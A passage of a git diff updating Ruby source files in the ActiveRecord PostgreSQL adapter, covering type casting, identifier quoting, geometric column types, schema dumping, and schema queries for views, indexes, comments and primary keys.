a/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb index eeccb09bdf..838cb63281 100644 --- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb +++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb @@ -1,3 +1,5 @@ +require 'ipaddr' + module ActiveRecord module ConnectionAdapters module PostgreSQL diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time.rb index 2c04c46131..424769f765 100644 --- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time.rb +++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time.rb @@ -4,18 +4,14 @@ module ActiveRecord module OID # :nodoc: class DateTime < Type::DateTime # :nodoc: def cast_value(value) - if value.is_a?(::String) - case value - when 'infinity' then ::Float::INFINITY - when '-infinity' then -::Float::INFINITY - when / BC$/ - astronomical_year = format("%04d", -value[/^\d+/].to_i + 1) - super(value.sub(/ BC$/, "").sub(/^\d+/, astronomical_year)) - else - super - end + case value + when 'infinity' then ::Float::INFINITY + when '-infinity' then -::Float::INFINITY + when / BC$/ + astronomical_year = format("%04d", -value[/^\d+/].to_i + 1) + super(value.sub(/ BC$/, "").sub(/^\d+/, astronomical_year)) else - value + super end end end diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/json.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/json.rb index 8e1256baad..dbc879ffd4 100644 --- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/json.rb +++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/json.rb @@ -2,32 +2,7 @@ module ActiveRecord module ConnectionAdapters module PostgreSQL module OID # :nodoc: - class Json < Type::Value # :nodoc: - include Type::Helpers::Mutable - - def type - :json - end - - def deserialize(value) - if value.is_a?(::String) - ::ActiveSupport::JSON.decode(value) rescue nil - else - value - end - end - - def serialize(value) - if value.is_a?(::Array) || value.is_a?(::Hash) - ::ActiveSupport::JSON.encode(value) - else - value - end - end - - def accessor - ActiveRecord::Store::StringKeyedHashAccessor - end + class Json < Type::Internal::AbstractJson end end end diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb.rb index afc9383f91..87391b5dc7 100644 --- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb.rb +++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb.rb @@ -9,7 +9,7 @@ module ActiveRecord def changed_in_place?(raw_old_value, new_value) # Postgres does not preserve insignificant whitespaces when - # roundtripping jsonb columns. This causes some false positives for + # round-tripping jsonb columns. This causes some false positives for # the comparison here. Therefore, we need to parse and re-dump the # raw value here to ensure the insignificant whitespaces are # consistent with our encoder's output. diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb index 2163674019..dcc12ae2a4 100644 --- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb +++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb @@ -3,8 +3,6 @@ module ActiveRecord module PostgreSQL module OID # :nodoc: class Money < Type::Decimal # :nodoc: - class_attribute :precision - def type :money end diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/rails_5_1_point.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/rails_5_1_point.rb new file mode 100644 index 0000000000..4da240edb2 --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/rails_5_1_point.rb @@ -0,0 +1,52 @@ +module ActiveRecord + Point = Struct.new(:x, :y) + + module ConnectionAdapters + module PostgreSQL + module OID # :nodoc: + class Rails51Point < Type::Value # :nodoc: + include Type::Helpers::Mutable + + def type + :point + end + + def cast(value) + case value + when ::String + return if value.blank? + + if value[0] == '(' && value[-1] == ')' + value = value[1...-1] + end + x, y = value.split(",") + build_point(x, y) + when ::Array + build_point(*value) + else + value + end + end + + def serialize(value) + if value.is_a?(ActiveRecord::Point) + "(#{number_for_point(value.x)},#{number_for_point(value.y)})" + else + super + end + end + + private + + def number_for_point(number) + number.to_s.gsub(/\.0$/, '') + end + + def build_point(x, y) + ActiveRecord::Point.new(Float(x), Float(y)) + end + end + end + end + end +end diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/range.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/range.rb index fc201f8fb9..a8d2310035 100644 --- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/range.rb +++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/range.rb @@ -6,6 +6,7 @@ module ActiveRecord module OID # :nodoc: class Range < Type::Value # :nodoc: attr_reader :subtype, :type + delegate :user_input_in_time_zone, to: :subtype def initialize(subtype, type = :range) @subtype = subtype @@ -18,7 +19,7 @@ module ActiveRecord def cast_value(value) return if value == 'empty' - return value if value.is_a?(::Range) + return value unless value.is_a?(::String) extracted = extract_bounds(value) from = type_cast_single extracted[:from] @@ -46,6 +47,12 @@ module ActiveRecord other.type == type end + def map(value) # :nodoc: + new_begin = yield(value.begin) + new_end = yield(value.end) + ::Range.new(new_begin, new_end, value.exclude_end?) + end + private def type_cast_single(value) diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb index 9b3de41fab..6155e53632 100644 --- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb +++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb @@ -15,11 +15,11 @@ module ActiveRecord def run(records) nodes = records.reject { |row| @store.key? row['oid'].to_i } mapped, nodes = nodes.partition { |row| @store.key? row['typname'] } - ranges, nodes = nodes.partition { |row| row['typtype'] == 'r' } - enums, nodes = nodes.partition { |row| row['typtype'] == 'e' } - domains, nodes = nodes.partition { |row| row['typtype'] == 'd' } - arrays, nodes = nodes.partition { |row| row['typinput'] == 'array_in' } - composites, nodes = nodes.partition { |row| row['typelem'] != '0' } + ranges, nodes = nodes.partition { |row| row['typtype'] == 'r'.freeze } + enums, nodes = nodes.partition { |row| row['typtype'] == 'e'.freeze } + domains, nodes = nodes.partition { |row| row['typtype'] == 'd'.freeze } + arrays, nodes = nodes.partition { |row| row['typinput'] == 'array_in'.freeze } + composites, nodes = nodes.partition { |row| row['typelem'].to_i != 0 } mapped.each { |row| register_mapped_type(row) } enums.each { |row| register_enum_type(row) } @@ -29,6 +29,18 @@ module ActiveRecord composites.each { |row| register_composite_type(row) } end + def query_conditions_for_initial_load(type_map) + known_type_names = type_map.keys.map { |n| "'#{n}'" } + known_type_types = %w('r' 'e' 'd') + <<-SQL % [known_type_names.join(", "), known_type_types.join(", ")] + WHERE + t.typname IN (%s) + OR t.typtype IN (%s) + OR t.typinput = 'array_in(cstring,oid,integer)'::regprocedure + OR t.typelem != 0 + SQL + end + private def register_mapped_type(row) alias_type row['oid'], row['typname'] diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb b/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb index b7755c4593..6414459cd1 100644 --- a/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb +++ b/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb @@ -27,8 +27,13 @@ module ActiveRecord # - schema_name."table.name" # - "schema.name".table_name # - "schema.name"."table.name" - def quote_table_name(name) - Utils.extract_schema_qualified_name(name.to_s).quoted + def quote_table_name(name) # :nodoc: + @quoted_table_names[name] ||= Utils.extract_schema_qualified_name(name.to_s).quoted + end + + # Quotes schema names for use in SQL queries. + def quote_schema_name(name) + PGconn.quote_ident(name) end def quote_table_name_for_assignment(table, attr) @@ -36,12 +41,11 @@ module ActiveRecord end # Quotes column names for use in SQL queries. - def quote_column_name(name) #:nodoc: - PGconn.quote_ident(name.to_s) + def quote_column_name(name) # :nodoc: + @quoted_column_names[name] ||= PGconn.quote_ident(super) end - # Quote date/time values for use in SQL input. Includes microseconds - # if the value is a Time responding to usec. + # Quote date/time values for use in SQL input. def quoted_date(value) #:nodoc: if value.year <= 0 bce_year = format("%04d", -value.year + 1) @@ -51,10 +55,11 @@ module ActiveRecord end end - # Does not quote function default values for UUID columns - def quote_default_expression(value, column) #:nodoc: - if column.type == :uuid && value =~ /\(\)/ - value + def quote_default_expression(value, column) # :nodoc: + if value.is_a?(Proc) + value.call + elsif column.type == :uuid && value =~ /\(\)/ + value # Does not quote function default values for UUID columns elsif column.respond_to?(:array?) value = type_cast_from_column(column, value) quote(value) diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb index 022dbdfa27..6399bddbee 100644 --- a/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb +++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb @@ -103,6 +103,30 @@ module ActiveRecord args.each { |name| column(name, :point, options) } end + def line(*args, **options) + args.each { |name| column(name, :line, options) } + end + + def lseg(*args, **options) + args.each { |name| column(name, :lseg, options) } + end + + def box(*args, **options) + args.each { |name| column(name, :box, options) } + end + + def path(*args, **options) + args.each { |name| column(name, :path, options) } + end + + def polygon(*args, **options) + args.each { |name| column(name, :polygon, options) } + end + + def circle(*args, **options) + args.each { |name| column(name, :circle, options) } + end + def serial(*args, **options) args.each { |name| column(name, :serial, options) } end diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_dumper.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_dumper.rb new file mode 100644 index 0000000000..a1e10fd364 --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_dumper.rb @@ -0,0 +1,47 @@ +module ActiveRecord + module ConnectionAdapters + module PostgreSQL + module ColumnDumper + def column_spec_for_primary_key(column) + spec = super + if schema_type(column) == :uuid + spec[:default] ||= 'nil' + end + spec + end + + # Adds +:array+ option to the default set + def prepare_column_options(column) + spec = super + spec[:array] = 'true' if column.array? + spec + end + + # Adds +:array+ as a valid migration key + def migration_keys + super + [:array] + end + + private + + def default_primary_key?(column) + schema_type(column) == :serial + end + + def schema_type(column) + return super unless column.serial? + + if column.bigint? + :bigserial + else + :serial + end + end + + def schema_expression(column) + super unless column.serial? + end + end + end + end +end diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb index eeb141dd1e..6318b1c65a 100644 --- a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb +++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb @@ -1,3 +1,5 @@ +require 'active_support/core_ext/string/strip' + module ActiveRecord module ConnectionAdapters module PostgreSQL @@ -8,6 +10,13 @@ module ActiveRecord o.sql_type = type_to_sql(o.type, o.limit, o.precision, o.scale, o.array) super end + + def add_column_options!(sql, options) + if options[:collation] + sql << " COLLATE \"#{options[:collation]}\"" + end + super + end end module SchemaStatements @@ -61,12 +70,24 @@ module ActiveRecord execute "DROP DATABASE IF EXISTS #{quote_table_name(name)}" end - # Returns the list of all tables in the schema search path or a specified schema. + # Returns the list of all tables in the schema search path. def tables(name = nil) - query(<<-SQL, 'SCHEMA').map { |row| row[0] } - SELECT tablename - FROM pg_tables - WHERE schemaname = ANY (current_schemas(false)) + if name + ActiveSupport::Deprecation.warn(<<-MSG.squish) + Passing arguments to #tables is deprecated without replacement. + MSG + end + + select_values("SELECT tablename FROM pg_tables WHERE schemaname = ANY(current_schemas(false))", 'SCHEMA') + end + + def data_sources # :nodoc + select_values(<<-SQL, 'SCHEMA') + SELECT c.relname + FROM pg_class c + LEFT JOIN pg_namespace n ON n.oid = c.relnamespace + WHERE c.relkind IN ('r', 'v','m') -- (r)elation/table, (v)iew, (m)aterialized view + AND n.nspname = ANY (current_schemas(false)) SQL end @@ -74,10 +95,20 @@ module ActiveRecord # If the schema is not specified as part of +name+ then it will only find tables within # the current schema search path (regardless of permissions to access tables in other schemas) def table_exists?(name) + ActiveSupport::Deprecation.warn(<<-MSG.squish) + #table_exists? currently checks both tables and views. + This behavior is deprecated and will be changed with Rails 5.1 to only check tables. + Use #data_source_exists? instead. + MSG + + data_source_exists?(name) + end + + def data_source_exists?(name) name = Utils.extract_schema_qualified_name(name.to_s) return false unless name.identifier - exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0 + select_value(<<-SQL, 'SCHEMA').to_i > 0 SELECT COUNT(*) FROM pg_class c LEFT JOIN pg_namespace n ON n.oid = c.relnamespace @@ -87,126 +118,169 @@ module ActiveRecord SQL end - def drop_table(table_name, options = {}) + def views # :nodoc: + select_values(<<-SQL, 'SCHEMA') + SELECT c.relname + FROM pg_class c + LEFT JOIN pg_namespace n ON n.oid = c.relnamespace + WHERE c.relkind IN ('v','m') -- (v)iew, (m)aterialized view + AND n.nspname = ANY (current_schemas(false)) + SQL + end + + def view_exists?(view_name) # :nodoc: + name = Utils.extract_schema_qualified_name(view_name.to_s) + return false unless name.identifier + + select_values(<<-SQL, 'SCHEMA').any? + SELECT c.relname + FROM pg_class c + LEFT JOIN pg_namespace n ON n.oid = c.relnamespace + WHERE c.relkind IN ('v','m') -- (v)iew, (m)aterialized view + AND c.relname = '#{name.identifier}' + AND n.nspname = #{name.schema ? "'#{name.schema}'" : 'ANY (current_schemas(false))'} + SQL + end + + def drop_table(table_name, options = {}) # :nodoc: execute "DROP TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(table_name)}#{' CASCADE' if options[:force] == :cascade}" end # Returns true if schema exists. def schema_exists?(name) - exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0 - SELECT COUNT(*) - FROM pg_namespace - WHERE nspname = '#{name}' - SQL + select_value("SELECT COUNT(*) FROM pg_namespace WHERE nspname = '#{name}'", 'SCHEMA').to_i > 0 end + # Verifies existence of an index with a given name. def index_name_exists?(table_name, index_name, default) - exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0 + table = Utils.extract_schema_qualified_name(table_name.to_s) + index = Utils.extract_schema_qualified_name(index_name.to_s) + + select_value(<<-SQL, 'SCHEMA').to_i > 0 SELECT COUNT(*) FROM pg_class t INNER JOIN pg_index d ON t.oid = d.indrelid INNER JOIN pg_class i ON d.indexrelid = i.oid + LEFT JOIN pg_namespace n ON n.oid = i.relnamespace WHERE i.relkind = 'i' - AND i.relname = '#{index_name}' - AND t.relname = '#{table_name}' - AND i.relnamespace IN (SELECT oid FROM pg_namespace WHERE nspname = ANY (current_schemas(false)) ) + AND i.relname = '#{index.identifier}' + AND t.relname = '#{table.identifier}' + AND n.nspname = #{index.schema ? "'#{index.schema}'" : 'ANY (current_schemas(false))'} SQL end # Returns an array of indexes for the given table. def indexes(table_name, name = nil) - result = query(<<-SQL, 'SCHEMA') - SELECT distinct i.relname, d.indisunique, d.indkey, pg_get_indexdef(d.indexrelid), t.oid - FROM pg_class t - INNER JOIN pg_index d ON t.oid = d.indrelid - INNER JOIN pg_class i ON d.indexrelid = i.oid - WHERE i.relkind = 'i' - AND d.indisprimary = 'f' - AND t.relname = '#{table_name}' - AND i.relnamespace IN (SELECT oid FROM pg_namespace WHERE nspname = ANY (current_schemas(false)) ) + table = Utils.extract_schema_qualified_name(table_name.to_s) + + result = query(<<-SQL, 'SCHEMA') + SELECT distinct i.relname, d.indisunique, d.indkey, pg_get_indexdef(d.indexrelid), t.oid, + pg_catalog.obj_description(i.oid, 'pg_class') AS comment, + (SELECT COUNT(*) FROM pg_opclass o + JOIN (SELECT unnest(string_to_array(d.indclass::text, ' '))::int oid) c + ON o.oid = c.oid WHERE o.opcdefault = 'f') + FROM pg_class t + INNER JOIN pg_index d ON t.oid = d.indrelid + INNER JOIN pg_class i ON d.indexrelid = i.oid + LEFT JOIN pg_namespace n ON n.oid = i.relnamespace + WHERE i.relkind = 'i' + AND d.indisprimary = 'f' + AND t.relname = '#{table.identifier}' + AND n.nspname = #{table.schema ? "'#{table.schema}'" : 'ANY (current_schemas(false))'} ORDER BY i.relname SQL result.map do |row| index_name = row[0] - unique = row[1] == 't' - indkey = row[2].split(" ") + unique = row[1] + indkey = row[2].split(" ").map(&:to_i) inddef = row[3] oid = row[4] + comment = row[5] + opclass = row[6] - columns = Hash[query(<<-SQL, "SCHEMA")] - SELECT a.attnum, a.attname - FROM pg_attribute a - WHERE a.attrelid = #{oid} - AND a.attnum IN (#{indkey.join(",")}) - SQL + using, expressions, where = inddef.scan(/ USING (\w+?) \((.+?)\)(?: WHERE (.+))?\z/).flatten - column_names = columns.values_at(*indkey).compact + if indkey.include?(0) || opclass > 0 + columns = expressions + else + columns = Hash[query(<<-SQL.strip_heredoc, "SCHEMA")].values_at(*indkey).compact + SELECT a.attnum, a.attname + FROM pg_attribute a + WHERE a.attrelid = #{oid} + AND a.attnum IN (#{indkey.join(",")}) + SQL - unless column_names.empty? # add info on sort order for columns (only desc order is explicitly specified, asc is the default) - desc_order_columns = inddef.scan(/(\w+) DESC/).flatten - orders = desc_order_columns.any? ? Hash[desc_order_columns.map {|order_column| [order_column, :desc]}] : {} - where = inddef.scan(/WHERE (.+)$/).flatten[0] - using = inddef.scan(/USING (.+?) /).flatten[0].to_sym - - IndexDefinition.new(table_name, index_name, unique, column_names, [], orders, where, nil, using) + orders = Hash[ + expressions.scan(/(\w+) DESC/).flatten.map { |order_column| [order_column, :desc] } + ] end + + IndexDefinition.new(table_name, index_name, unique, columns, [], orders, where, nil, using.to_sym, comment.presence) end.compact end # Returns the list of all column definitions for a table. - def columns(table_name) - # Limit, precision, and scale are all handled by the superclass. - column_definitions(table_name).map do |column_name, type, default, notnull, oid, fmod| + def columns(table_name) # :nodoc: + table_name = table_name.to_s + column_definitions(table_name).map do |column_name, type, default, notnull, oid, fmod, collation, comment| oid = oid.to_i fmod = fmod.to_i type_metadata = fetch_type_metadata(column_name, type, oid, fmod) default_value = extract_value_from_default(default) default_function = extract_default_function(default_value, default) - new_column(column_name, default_value, type_metadata, notnull == 'f', default_function) + new_column(column_name, default_value, type_metadata, !notnull, table_name, default_function, collation, comment: comment.presence) end end - def new_column(name, default, sql_type_metadata = nil, null = true, default_function = nil) # :nodoc: - PostgreSQLColumn.new(name, default, sql_type_metadata, null, default_function) + def new_column(*args) # :nodoc: + PostgreSQLColumn.new(*args) + end + + # Returns a comment stored in database for given table + def table_comment(table_name) # :nodoc: + name = Utils.extract_schema_qualified_name(table_name.to_s) + if name.identifier + select_value(<<-SQL.strip_heredoc, 'SCHEMA') + SELECT pg_catalog.obj_description(c.oid, 'pg_class') + FROM pg_catalog.pg_class c + LEFT JOIN pg_namespace n ON n.oid = c.relnamespace + WHERE c.relname = #{quote(name.identifier)} + AND c.relkind IN ('r') -- (r)elation/table + AND n.nspname = #{name.schema ? quote(name.schema) : 'ANY (current_schemas(false))'} + SQL + end end # Returns the current database name. def current_database - query('select current_database()', 'SCHEMA')[0][0] + select_value('select current_database()', 'SCHEMA') end # Returns the current schema name. def current_schema - query('SELECT current_schema', 'SCHEMA')[0][0] + select_value('SELECT current_schema', 'SCHEMA') end # Returns the current database encoding format. def encoding - query(<<-end_sql, 'SCHEMA')[0][0] - SELECT pg_encoding_to_char(pg_database.encoding) FROM pg_database - WHERE pg_database.datname LIKE '#{current_database}' - end_sql + select_value("SELECT pg_encoding_to_char(encoding) FROM pg_database WHERE datname LIKE '#{current_database}'", 'SCHEMA') end # Returns the current database collation. def collation - query(<<-end_sql, 'SCHEMA')[0][0] - SELECT pg_database.datcollate FROM pg_database WHERE pg_database.datname LIKE '#{current_database}' - end_sql + select_value("SELECT datcollate FROM pg_database WHERE datname LIKE '#{current_database}'", 'SCHEMA') end # Returns the current database ctype. def ctype - query(<<-end_sql, 'SCHEMA')[0][0] - SELECT pg_database.datctype FROM pg_database WHERE pg_database.datname LIKE '#{current_database}' - end_sql + select_value("SELECT datctype FROM pg_database WHERE datname LIKE '#{current_database}'", 'SCHEMA') end # Returns an array of schema names. def schema_names - query(<<-SQL, 'SCHEMA').flatten + select_values(<<-SQL, 'SCHEMA') SELECT nspname FROM pg_namespace WHERE nspname !~ '^pg_.*' @@ -217,12 +291,12 @@ module ActiveRecord # Creates a schema for the given schema name. def create_schema schema_name - execute "CREATE SCHEMA #{schema_name}" + execute "CREATE SCHEMA #{quote_schema_name(schema_name)}" end # Drops the schema for the given schema name. - def drop_schema schema_name - execute "DROP SCHEMA #{schema_name} CASCADE" + def drop_schema(schema_name, options = {}) + execute "DROP SCHEMA#{' IF EXISTS' if options[:if_exists]} #{quote_schema_name(schema_name)} CASCADE" end # Sets the schema search path to a string of comma-separated schema names. @@ -239,12 +313,12 @@ module ActiveRecord # Returns the active schema search path. def schema_search_path - @schema_search_path ||= query('SHOW search_path', 'SCHEMA')[0][0] + @schema_search_path ||= select_value('SHOW search_path', 'SCHEMA') end # Returns the current client message level. def client_min_messages - query('SHOW client_min_messages', 'SCHEMA')[0][0] + select_value('SHOW client_min_messages', 'SCHEMA') end # Set the client message level. @@ -262,10 +336,7 @@ module ActiveRecord end def serial_sequence(table, column) - result = exec_query(<<-eosql, 'SCHEMA') - SELECT pg_get_serial_sequence('#{table}', '#{column}') - eosql - result.rows.first.first + select_value("SELECT pg_get_serial_sequence('#{table}', '#{column}')", 'SCHEMA') end # Sets the sequence of a table's primary key to the specified value. @@ -276,11 +347,9 @@ module ActiveRecord if sequence quoted_sequence = quote_table_name(sequence) - select_value <<-end_sql, 'SCHEMA' - SELECT setval('#{quoted_sequence}', #{value}) - end_sql + select_value("SELECT setval('#{quoted_sequence}', #{value})", 'SCHEMA') else - @logger.warn "#{table} has primary key #{pk} with no default sequence" if @logger + @logger.warn "#{table} has primary key #{pk} with no default sequence." if @logger end end end @@ -295,13 +364,13 @@ module ActiveRecord end if @logger && pk && !sequence - @logger.warn "#{table} has primary key #{pk} with no default sequence" + @logger.warn "#{table} has primary key #{pk} with no default sequence." end if pk && sequence quoted_sequence = quote_table_name(sequence) - select_value <<-end_sql, 'SCHEMA' + select_value(<<-end_sql, 'SCHEMA') SELECT setval('#{quoted_sequence}', (SELECT COALESCE(MAX(#{quote_column_name pk})+(SELECT increment_by FROM #{quoted_sequence}), (SELECT min_value FROM #{quoted_sequence})) FROM #{quote_table_name(table)}), false) end_sql end @@ -361,17 +430,19 @@ module ActiveRecord nil end - # Returns just a table's primary key - def primary_key(table) - pks = exec_query(<<-end_sql, 'SCHEMA').rows - SELECT attr.attname - FROM pg_attribute attr - INNER JOIN pg_constraint cons ON attr.attrelid = cons.conrelid AND attr.attnum = any(cons.conkey) - WHERE cons.contype = 'p' - AND cons.conrelid = '#{quote_table_name(table)}'::regclass - end_sql - return nil unless pks.count == 1 - pks[0][0] + def primary_keys(table_name) # :nodoc: + select_values(<<-SQL.strip_heredoc, 'SCHEMA') + WITH pk_constraint AS ( + SELECT conrelid, unnest(conkey) AS connum FROM pg_constraint + WHERE contype = 'p' + AND conrelid = '#{quote_table_name(table_name)}'::regclass + ), cons AS ( + SELECT conrelid, connum, row_number() OVER() AS rownum FROM pk_constraint + ) + SELECT attr.attname FROM pg_attribute attr + INNER JOIN cons ON attr.attrelid = cons.conrelid AND attr.attnum = cons.connum + ORDER BY cons.rownum + SQL end # Renames a table. @@ -388,27 +459,28 @@ module ActiveRecord new_seq = "#{new_name}_#{pk}_seq" idx = "#{table_name}_pkey" new_idx = "#{new_name}_pkey" - execute "ALTER TABLE #{quote_table_name(seq)} RENAME TO #{quote_table_name(new_seq)}" + execute "ALTER TABLE #{seq.quoted} RENAME TO #{quote_table_name(new_seq)}" execute "ALTER INDEX #{quote_table_name(idx)} RENAME TO #{quote_table_name(new_idx)}" end rename_table_indexes(table_name, new_name) end - # Adds a new column to the named table. - # See TableDefinition#column for details of the options you can use. - def add_column(table_name, column_name, type, options = {}) + def add_column(table_name, column_name, type, options = {}) #:nodoc: clear_cache! super + change_column_comment(table_name, column_name, options[:comment]) if options.key?(:comment) end - # Changes the column of a table. - def change_column(table_name, column_name, type, options = {}) + def change_column(table_name, column_name, type, options = {}) #:nodoc: clear_cache! quoted_table_name = quote_table_name(table_name) quoted_column_name = quote_column_name(column_name) sql_type = type_to_sql(type, options[:limit], options[:precision], options[:scale], options[:array]) sql = "ALTER TABLE #{quoted_table_name} ALTER COLUMN #{quoted_column_name} TYPE #{sql_type}" + if options[:collation] + sql << " COLLATE \"#{options[:collation]}\"" + end if options[:using] sql << " USING #{options[:using]}" elsif options[:cast_as] @@ -419,14 +491,16 @@ module ActiveRecord change_column_default(table_name, column_name, options[:default]) if options_include_default?(options) change_column_null(table_name, column_name, options[:null], options[:default]) if options.key?(:null) + change_column_comment(table_name, column_name, options[:comment]) if options.key?(:comment) end # Changes the default value of a table column. - def change_column_default(table_name, column_name, default) + def change_column_default(table_name, column_name, default_or_changes) # :nodoc: clear_cache! column = column_for(table_name, column_name) return unless column + default = extract_new_default_value(default_or_changes) alter_column_query = "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} %s" if default.nil? # <tt>DEFAULT NULL</tt> results in the same behavior as <tt>DROP DEFAULT</tt>. However, PostgreSQL will @@ -437,7 +511,7 @@ module ActiveRecord end end - def change_column_null(table_name, column_name, null, default = nil) + def change_column_null(table_name, column_name, null, default = nil) #:nodoc: clear_cache! unless null || default.nil? column = column_for(table_name, column_name) @@ -446,22 +520,58 @@ module ActiveRecord execute("ALTER TABLE #{quote_table_name(table_name)} ALTER #{quote_column_name(column_name)} #{null ? 'DROP' : 'SET'} NOT NULL") end + # Adds comment for given table column or drops it if +comment+ is a +nil+ + def change_column_comment(table_name, column_name, comment) # :nodoc: + clear_cache! + execute "COMMENT ON COLUMN #{quote_table_name(table_name)}.#{quote_column_name(column_name)} IS #{quote(comment)}" + end + + # Adds comment for given table or drops it if +comment+ is a +nil+ + def change_table_comment(table_name, comment) # :nodoc: + clear_cache! + execute "COMMENT ON TABLE #{quote_table_name(table_name)} IS #{quote(comment)}" + end + # Renames a column in a table. - def rename_column(table_name, column_name, new_column_name) + def rename_column(table_name, column_name, new_column_name) #:nodoc: clear_cache! execute "ALTER TABLE #{quote_table_name(table_name)} RENAME COLUMN #{quote_column_name(column_name)} TO #{quote_column_name(new_column_name)}" rename_column_indexes(table_name, column_name, new_column_name) end def add_index(table_name, column_name, options = {}) #:nodoc: - index_name, index_type, index_columns, index_options, index_algorithm, index_using = add_index_options(table_name, column_name, options) - execute "CREATE #{index_type} INDEX #{index_algorithm} #{quote_column_name(index_name)} ON #{quote_table_name(table_name)} #{index_using} (#{index_columns})#{index_options}" + index_name, index_type, index_columns, index_options, index_algorithm, index_using, comment = add_index_options(table_name, column_name, options) + execute("CREATE #{index_type} INDEX #{index_algorithm} #{quote_column_name(index_name)} ON #{quote_table_name(table_name)} #{index_using} (#{index_columns})#{index_options}").tap do + execute "COMMENT ON INDEX #{quote_column_name(index_name)} IS #{quote(comment)}" if comment + end end - def remove_index!(table_name, index_name) #:nodoc: - execute "DROP INDEX #{quote_table_name(index_name)}" + def remove_index(table_name, options = {}) #:nodoc: + table = Utils.extract_schema_qualified_name(table_name.to_s) + + if options.is_a?(Hash) && options.key?(:name) + provided_index = Utils.extract_schema_qualified_name(options[:name].to_s) + + options[:name] = provided_index.identifier + table = PostgreSQL::Name.new(provided_index.schema, table.identifier) unless table.schema.present? + + if provided_index.schema.present? && table.schema != provided_index.schema + raise ArgumentError.new("Index schema '#{provided_index.schema}' does not match table schema '#{table.schema}'") + end + end + + index_to_remove = PostgreSQL::Name.new(table.schema, index_name_for_remove(table.to_s, options)) + algorithm = + if options.is_a?(Hash) && options.key?(:algorithm) + index_algorithms.fetch(options[:algorithm]) do + raise ArgumentError.new("Algorithm must be one of the following: #{index_algorithms.keys.map(&:inspect).join(', ')}") + end + end + execute "DROP INDEX #{algorithm} #{quote_table_name(index_to_remove)}" end + # Renames an index of a table. Raises error if length of new + # index name is greater than allowed limit. def rename_index(table_name, old_name, new_name) validate_index_length!(table_name, new_name) diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/type_metadata.rb b/activerecord/lib/active_record/connection_adapters/postgresql/type_metadata.rb index 58715978f7..b2c49989a4 100644 --- a/activerecord/lib/active_record/connection_adapters/postgresql/type_metadata.rb +++ b/activerecord/lib/active_record/connection_adapters/postgresql/type_metadata.rb @@ -12,7 +12,7 @@ module ActiveRecord end def sql_type - super.gsub(/\[\]$/, "") + super.gsub(/\[\]$/, "".freeze) end def ==(other) diff --git a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb index 96a3ac7c31..bab80a8890 100644 --- a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb +++ b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb @@ -1,31 +1,23 @@ +# Make sure we're using pg high enough for type casts and Ruby 2.2+ compatibility +gem 'pg', '~> 0.18' +require 'pg' + require "active_record/connection_adapters/abstract_adapter" require "active_record/connection_adapters/postgresql/column" require "active_record/connection_adapters/postgresql/database_statements" +require "active_record/connection_adapters/postgresql/explain_pretty_printer" require "active_record/connection_adapters/postgresql/oid" require "active_record/connection_adapters/postgresql/quoting" require "active_record/connection_adapters/postgresql/referential_integrity" require "active_record/connection_adapters/postgresql/schema_definitions" +require "active_record/connection_adapters/postgresql/schema_dumper" require "active_record/connection_adapters/postgresql/schema_statements" require "active_record/connection_adapters/postgresql/type_metadata" require "active_record/connection_adapters/postgresql/utils" require "active_record/connection_adapters/statement_pool" -require 